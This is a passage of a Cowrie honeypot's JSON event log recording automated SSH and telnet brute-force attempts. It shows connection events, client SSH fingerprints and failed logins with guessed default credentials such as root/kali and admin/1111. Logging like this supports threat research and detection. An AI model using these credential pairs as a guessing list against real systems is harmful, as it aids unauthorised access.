{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:35.996660Z","src_ip":"52.231.220.210","session":"67160423f14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:36.106251Z","src_ip":"176.65.139.103","session":"37b5fa586c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brasil","message":"login attempt [root/brasil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:36.758126Z","src_ip":"52.231.220.210","session":"67160423f14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:37.943256Z","src_ip":"52.231.220.210","session":"67160423f14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43516,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad4fedfec3f","protocol":"telnet","message":"New connection: 213.136.75.179:43516 (10.17.0.5:23) [session: fad4fedfec3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:38.138107Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52834,"dst_ip":"10.17.0.5","dst_port":22,"session":"32c08b41cecc","protocol":"ssh","message":"New connection: 176.65.139.103:52834 (10.17.0.5:22) [session: 32c08b41cecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:41.271496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:41.276010Z","src_ip":"176.65.139.103","session":"32c08b41cecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:41.421675Z","src_ip":"176.65.139.103","session":"32c08b41cecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:41.868574Z","src_ip":"176.65.139.103","session":"32c08b41cecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:42.953149Z","src_ip":"176.65.139.103","session":"32c08b41cecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.131581783294678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:43.810217Z","src_ip":"213.136.75.179","session":"5279042183e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60434365272522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:44.869031Z","src_ip":"213.136.75.179","session":"b0de1d2bee71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"8606f3cb431c","protocol":"ssh","message":"New connection: 176.65.139.103:40228 (10.17.0.5:22) [session: 8606f3cb431c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:48.216424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:48.220897Z","src_ip":"176.65.139.103","session":"8606f3cb431c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:48.302752Z","src_ip":"176.65.139.103","session":"8606f3cb431c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:48.567134Z","src_ip":"176.65.139.103","session":"8606f3cb431c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:49.652090Z","src_ip":"176.65.139.103","session":"8606f3cb431c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33266,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c0fdc1116d","protocol":"ssh","message":"New connection: 159.203.92.129:33266 (159.203.135.109:22) [session: c2c0fdc1116d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:50.010489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:50.014782Z","src_ip":"159.203.92.129","session":"c2c0fdc1116d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:50.019067Z","src_ip":"159.203.92.129","session":"c2c0fdc1116d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anpr","password":"anpr","message":"login attempt [anpr/anpr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:50.029727Z","src_ip":"159.203.92.129","session":"c2c0fdc1116d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52786,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e0a738ad43d","protocol":"telnet","message":"New connection: 213.136.75.179:52786 (10.17.0.5:23) [session: 9e0a738ad43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:50.338032Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:51.034924Z","src_ip":"159.203.92.129","session":"c2c0fdc1116d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.318702936172485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:52.703110Z","src_ip":"213.136.75.179","session":"a01c4616b9fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50060,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e918fdca3e6","protocol":"ssh","message":"New connection: 176.65.139.103:50060 (10.17.0.5:22) [session: 3e918fdca3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:54.329069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:54.333638Z","src_ip":"176.65.139.103","session":"3e918fdca3e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:54.415378Z","src_ip":"176.65.139.103","session":"3e918fdca3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:54.685311Z","src_ip":"176.65.139.103","session":"3e918fdca3e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:55.994257Z","src_ip":"176.65.139.103","session":"3e918fdca3e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":48016,"dst_ip":"10.17.0.5","dst_port":22,"session":"e329590e258c","protocol":"ssh","message":"New connection: 103.176.20.115:48016 (10.17.0.5:22) [session: e329590e258c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:57.203770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:57.208824Z","src_ip":"103.176.20.115","session":"e329590e258c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:57.465141Z","src_ip":"103.176.20.115","session":"e329590e258c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"644fdba491c4","protocol":"telnet","message":"New connection: 213.136.75.179:59184 (10.17.0.5:23) [session: 644fdba491c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:58.134340Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wu123456","message":"login attempt [root/Wu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:58.517291Z","src_ip":"103.176.20.115","session":"e329590e258c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:59.774099Z","src_ip":"103.176.20.115","session":"e329590e258c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50070,"dst_ip":"10.17.0.5","dst_port":22,"session":"290c009c9ba6","protocol":"ssh","message":"New connection: 176.65.139.103:50070 (10.17.0.5:22) [session: 290c009c9ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:00.841977Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.64.98","src_port":62407,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad0b9339a19","protocol":"telnet","message":"New connection: 103.233.64.98:62407 (10.17.0.5:23) [session: aad0b9339a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:00.858394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:00.875315Z","src_ip":"176.65.139.103","session":"290c009c9ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:00.939820Z","src_ip":"176.65.139.103","session":"290c009c9ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:01.248282Z","src_ip":"176.65.139.103","session":"290c009c9ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:02.525680Z","src_ip":"176.65.139.103","session":"290c009c9ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.303332805633545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:04.240567Z","src_ip":"213.136.75.179","session":"63c8218fd560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46134,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6669ba1877f","protocol":"ssh","message":"New connection: 176.65.139.103:46134 (10.17.0.5:22) [session: d6669ba1877f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:07.613753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:07.628816Z","src_ip":"176.65.139.103","session":"d6669ba1877f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ct